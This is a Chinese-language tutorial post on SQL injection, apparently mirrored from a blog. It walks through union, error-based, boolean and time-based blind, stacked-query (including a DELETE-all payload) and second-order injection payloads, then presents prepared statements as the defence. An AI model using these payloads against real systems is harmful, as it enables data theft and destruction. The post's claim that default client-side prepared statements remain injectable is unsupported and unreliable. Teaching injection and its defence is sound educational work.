当前位置: 首页 > news >正文

SQL注入与防御:从攻击原理到预编译防御

重新认识SQL注入

核心观点:其实并不存在什么"SQL注入",我们是正常用户,正常传入数据。只不过其他人查询的是管理员让你看的,而我们是绕过某些限制,看到了正常用户看不到的信息。

数据库信息探秘:三个关键系统表

在开始之前,我们需要了解数据库中的三个默认表,它们是我们的"地图":

- SCHEMATA - 存储所有数据库信息
- TABLES - 存储所有表信息  
- COLUMNS - 存储所有字段信息

正常查询 vs 信息探测查询

正常业务查询:
SELECT * FROM test.user;

信息探测查询:

-- 查看所有数据库
SELECT schema_name FROM information_schema.schemata;-- 查看特定数据库(test)中的所有表
SELECT table_name, table_type, engine, create_time 
FROM information_schema.tables 
WHERE table_schema = 'test';-- 查看特定表(user)的所有字段
SELECT column_name, data_type, is_nullable, column_default 
FROM information_schema.columns 
WHERE table_schema = 'test' AND table_name = 'user';

SQL注入类型区分

数字型注入

接收语句示例:
String sql = "SELECT id, title, content, author FROM articles WHERE id = " + id;

特征:参数直接拼接,我们直接写语句即可

攻击示例:
id = 1 AND 1=2 UNION SELECT username, password FROM users --

字符型注入(主要攻击场景)

接收语句示例:
sql = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"

特征:传入参数在引号内部,我们需要进行闭合

SQL注入攻击流程

判断攻击类型

数字型判定
id=1 AND 1=1    -- 永真,应返回正常页面
id=1 AND 1=2    -- 永假,应返回异常或空页面

字符型判定
username=admin' AND '1'='1    -- 永真
username=admin' AND '1'='2    -- 永假

字符型闭合原理详解

原查询语句:
sql = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"

当我们传入:
username=admin&password=admin' AND '1'='1

最终语句变成:
SELECT * FROM users WHERE username = 'admin' AND password = 'admin' AND '1'='1'

我们传入的参数完美融入了语句,成为了语句的一部分。就像开头说的一样:我们是正常的用户,输入的是正常的语句。

获取数据的方法

1. 联合查询(Union-Based)

我们使用的语句包括:IF、CONCAT、SUBSTRING、LIKE、UNION等。在禁止某些函数的情况下,可以更换函数达到相同的查询效果。

 2. 报错注入(Error-Based)

主要使用updatexml()、extractvalue()函数实现。

使用条件:配置有报错处理示例代码环境:

$sql = "SELECT * FROM users WHERE id = $id";
$result = $conn->query($sql);if (!$result) {echo "MySQL错误信息: " . $conn->error . "<br><br>";
} elseif ($result->num_rows > 0) {while($row = $result->fetch_assoc()) {echo "ID: " . $row["id"]. " - 用户名: " . $row["username"]. "<br>";}
} else {echo "没有找到结果<br>";
}

攻击语句:
id=1 and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)

因为代码中做了报错处理,会出现报错信息。我们通过修改报错信息的输出内容,最终让报错信息显示为我们想要的数据库名。

盲注技术

个人理解:这就是一个不存在平局的猜拳游戏,只有两个结果。

1. 布尔盲注(Boolean-Based)

布尔值只有True和False两个状态,我们通过不断测试来获取信息。

示例:
SELECT * FROM users WHERE username = '$username' AND password = '$password'

我们传入:
username=admin' and (select length(password) from users where username='admin') = 10#

这句话就是在猜测admin用户的密码长度是不是10位:
- 如果正确,会显示正常页面
- 如果错误,会显示错误页面

我们通过页面回显来判断猜测是否正确。(#会注释掉后面的语句)

 2. 时间盲注(Time-Based)

和布尔盲注类似,只不过我们使用sleep()函数来判断。

示例:
username=admin' AND IF((SELECT length(password) FROM users WHERE username='admin')=10, SLEEP(5), 0)--

这段语句判断admin用户的密码长度是不是10位:
- 如果正确,会延迟5秒响应
- 如果错误,会立即返回

我们根据是否有延迟来判断猜测是否正确。

其他攻击手法

4. 堆叠注入(Stacked Queries)

简单来说就是两个语句同时执行。

原语句:
SELECT * FROM users WHERE username = '$username' AND password = '$password'

攻击语句:
username=admin'; DELETE FROM users WHERE 1=1--

组合后:
SELECT * FROM users WHERE username = 'admin'; DELETE FROM users WHERE 1=1--' AND password = '$password'

5. 二次注入(Second-Order Injection)

问题存在于插入和调用两个环节。

攻击流程:
1. 注册时存入恶意用户名:' UNION SELECT database()--
2. 登录时系统自动调用查询

假设默认查询语句:
sql="SELECT * FROM users WHERE username = 'admin';"

实际组合后:
SELECT * FROM users WHERE username = '' UNION SELECT database()--';"

就会显示出数据库信息。

总结:SQL注入的本质是让我们的输入成为合法的SQL语句部分,从而绕过正常的数据访问限制。理解原理比记忆语句更重要!

现在我们简单了解了攻击手段,我们了解一下怎么防御?

我们主要的防御手段为——预编译

预编译

这就是一个标准的预编译语句

String sql = "SELECT * FROM users WHERE username = ? AND email = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, "alice"); // 设置第一个问号的值为 "alice"
pstmt.setString(2, "alice@example.com"); ResultSet rs = pstmt.executeQuery();

我们可以看到和之前的语句不一样,不是根据我们传入的参数(类似username=admin),而是一个问号(?)。

看下面的代码,代码是直接将传入的数据填入语句中。在这个过程中,语句是固定的。不存在安全隐患。看上去确实是完美。那么说就不存在SQL注入了吗??

其实预编译分为真实预编译和虚假预编译。
其主要的区别为:该语句是由服务器定死的还是我们可以发挥主观能动性,自己修改的。

真实预编译:

// 连接字符串中开启服务端预编译
String url = "jdbc:mysql://localhost:3306/test?useServerPrepStmts=true";
Connection conn = DriverManager.getConnection(url, "user", "pass");// 这行代码执行时,SQL模板就发送到数据库进行预编译了
PreparedStatement pstmt = conn.prepareStatement("SELECT name FROM users WHERE id = ?");// 只发送参数给数据库
pstmt.setInt(1, 100);
ResultSet rs = pstmt.executeQuery();

虚拟预编译:

// 连接字符串中关闭服务端预编译(或使用默认)
String url = "jdbc:mysql://localhost:3306/test?useServerPrepStmts=false";  
Connection conn = DriverManager.getConnection(url, "user", "pass");// 这行代码几乎什么都不做
PreparedStatement pstmt = conn.prepareStatement("SELECT name FROM users WHERE id = ?");// 客户端把参数拼接成完整SQL:SELECT name FROM users WHERE id = 100
pstmt.setInt(1, 100);
ResultSet rs = pstmt.executeQuery();  // 发送完整SQL到数据库

看着差不多,代码的区别为useServerPrepStmts=true/false这个选项。开启了我们就真的可以放弃了。

这个选项的意义就是是否开启预编译,在Mysql中这个选项是默认关闭的。这就给我们攻击手段的最后的希望。

http://www.dtcms.com/a/422722.html

相关文章:

  • 【MySQL】Oracle与MySQL,跨库数据转储
  • 营销型网站建设的步骤附近公司
  • 【Java】网络编程(5)
  • 实现VLAN间通信
  • OSPF 和 IS-IS的路由过滤对比
  • Eclipse 透视图(Perspective)
  • 【Linux操作系统】简学深悟启示录:动静态库
  • 网站搭建设计筑龙网怎么免费下载
  • 网站制作哪家好网站建设中期目标
  • 前端开发时npm install报错解决方案
  • C#中 单线程使用 CancellationTokenSource 进行线程管理
  • .NET Core项目中 Serilog日志文件配置
  • 哈尔滨网站开发培训百度seo站长工具
  • 九江建设网站公司中信建设有限责任公司集采
  • DynImg论文阅读
  • 适合推广的网站wordpress自动标签加链接
  • ChatBI的相关学习
  • 【常用的git命令】
  • SNK施努卡汽车一体式天幕生产线
  • Celery时区设置问题源码探究
  • 音元分析流程
  • 懂的建设网站上海做网站优化
  • OpenLayers的OGC服务 -- 章节一:WMS服务详解
  • [信号与系统个人笔记]第三章 连续时间信号与系统的频域分析 Part 4
  • 多渠道打包gradle配置
  • 集中式架构还是分布式架构?SCADA架构选型的新趋势
  • 第八章 财务报表 2利润表(2025版)
  • 在Trae上使用Bright Data MCP采集数据,实时获取IPhone17价格信息
  • 番禺网站推广湖南网站建设有限公司
  • 刷题 | 牛客 - 前端面试手撕题 - 中等 - 1-2/20 知识点解答